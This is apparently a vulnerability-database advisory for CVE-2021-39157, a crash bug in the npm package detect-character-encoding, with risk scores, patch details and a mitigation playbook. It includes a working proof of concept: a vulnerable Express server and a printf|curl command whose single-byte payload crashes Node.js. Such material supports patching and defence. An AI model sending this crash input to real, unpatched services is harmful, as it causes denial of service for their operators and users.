CVE-2021-39157 is a high-severity (CVSS 7.5) CWE-755 vulnerability in detect-character-encoding. 2 public exploit references exist, so weaponization risk is real. A fix is available for detect-character-encoding — see the affected versions and patch details below.
Improper Handling of Exceptional Conditions in detect-character-encoding
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2021-39157 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
detect-character-encodingnpmDescription
Impact
In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.
Patches
The problem has been patched in detect-character-encoding v0.7.0.
CVSS score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C
Base Score: 7.5 (High) Temporal Score: 7.2 (High)
Since detect-character-encoding is a library, the scoring is based on the “reasonable worst-case implementation scenario”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.
Proof of concept
const express = require("express");
const bodyParser = require("body-parser");
const detectCharacterEncoding = require("detect-character-encoding");
const app = express();
app.use(bodyParser.raw());
app.post("/", (req, res) => {
const charsetMatch = detectCharacterEncoding(req.body);
res.end(charsetMatch.encoding);
});
app.listen(3000);
printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000 crashes the server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | detect-character-encoding | all versions | 0.7.0npm install detect-character-encoding@0.7.0 |
Affected Products
detect-character-encodingdetect-character-encoding_projectResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for detect-character-encoding, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update detect-character-encoding to 0.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-39157 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2021-39157 in your dependencies?
Find it across npm, including transitive dependencies.